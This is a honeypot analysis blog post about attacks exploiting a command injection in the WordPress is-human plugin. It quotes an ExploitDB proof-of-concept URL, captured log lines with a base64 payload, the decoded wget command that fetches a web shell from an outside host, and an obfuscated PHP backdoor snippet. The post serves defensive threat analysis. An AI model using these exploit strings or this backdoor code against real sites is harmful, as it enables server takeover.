As we first noted in a previous Honeypot Alert Blog post, our web honeypots have again received attempts to exploit a WordPress is-human pluging remote command injection vulnerability. ExploitDB lists the following data:
# Exploit Title: is-human (1.4.2 and prior) Worpdress plugin.
# Date: 16.05.2011
# Author: neworder [www.neworder-ind.net]
# Software Link: http://wordpress.org/extend/plugins/is-human/
# Version: 1.4.2
# Tested on: Linux Platform
The vulnerability exists in /is-human/engine.php .
It is possible to take control of the eval() function via the 'type' parameter, when the 'action' is set to log-reset. From here we can run out own code.
In order to avoid any errors we point the $is_hum->get_* array variable into $is_hum->get_ih and to close the execution without error we point it to php stored function error_log(). In between we may place our own php code and use the passthru() function to execute commands.
Execution running the linux whoami command:
http://server/wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();passthru(whoami);error
Here are the attacks we picked up:
178.137.167.112 - - [12/Mar/2012:11:14:38 +0000] "GET /wordpress//wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3Ryb2xsLmhyMDAucnUvc2gudHh0OyBtdiBzaC50eHQgc2gucGhwJyk7));error HTTP/1.1" 404 568 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
178.137.167.112 - - [12/Mar/2012:11:14:38 +0000] "GET /wordpress//wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3Ryb2xsLmhyMDAucnUvc2gudHh0OyBtdiBzaC50eHQgc2gucGhwJyk7));error HTTP/1.1" 404 568 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
178.137.167.112 - - [12/Mar/2012:11:14:42 +0000] "GET //wp-content/plugins/is-human/engine.php?action=log-reset&type=ih_options();eval(base64_decode(cGFzc3RocnUoJ3dnZXQgaHR0cDovL3Ryb2xsLmhyMDAucnUvc2gudHh0OyBtdiBzaC50eHQgc2gucGhwJyk7));error HTTP/1.1" 301 765 "-" "Mozila/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
As you can see, the attacker is injecting PHP eval and base64_decode calls into the vulnerable "type" parameter of the is_human WordPress plugin. The base64_decode call results in the following text:
passthru('wget http://troll.hr00.ru/sh.txt; mv sh.txt sh.php');
This attempts to access the OS level wget http client tool to download the "sh.txt" file on the remote site. Here is a snippet of the code:
<?php$auth_pass = "";$color = "#df5";$default_action = 'FilesMan';$default_use_ajax = true;$default_charset = 'Windows-1251';preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2--CUT--CeoLNq9ulb+iR9awo80ZtZXK2r56dUYJbQgDn2wbjvy2c5cgh8gAi9LbaFz7lC13SwzDxAYT72vwA='\x29\x29\x29\x3B",".");
When this code is executed by PHP, it results in a common web backdoor page such as the following screenshot which was taken from Google search results for other compromised hosts.